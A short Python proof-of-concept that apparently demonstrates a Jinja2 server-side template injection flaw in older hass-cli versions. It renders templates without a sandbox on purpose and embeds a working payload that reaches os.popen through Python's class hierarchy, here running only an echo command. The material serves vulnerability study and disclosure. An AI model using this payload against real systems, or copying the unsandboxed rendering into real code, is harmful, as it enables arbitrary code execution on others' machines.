Vulnerable code sample

import jinja2
import os
import sys

# This PoC simulates the vulnerable behavior of hass-cli prior to version 1.0.0.
# It takes a Jinja2 template string as a command-line argument and renders it
# using an unrestricted environment, allowing for arbitrary code execution.

def vulnerable_render(template_string):
    """
    Renders a template string using a non-sandboxed Jinja2 environment,
    which is the root cause of the vulnerability.
    """
    env = jinja2.Environment()
    template = env.from_string(template_string)
    output = template.render()
    print(output)

if __name__ == "__main__":
    # A sample malicious payload that can be passed as an argument.
    # It accesses Python's object hierarchy to find and use os.popen.
    # The specific index [e.g., 132] can vary based on the Python version and environment.
    # A more robust payload is used here to find a module that imports 'os'.
    payload = "{{ [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('echo VULNERABLE').read() }}"
    
    print("--- Running PoC for CVE-2023-40602 ---")
    print(f"Using payload: {payload}\n")
    print("Result:")
    
    vulnerable_render(payload)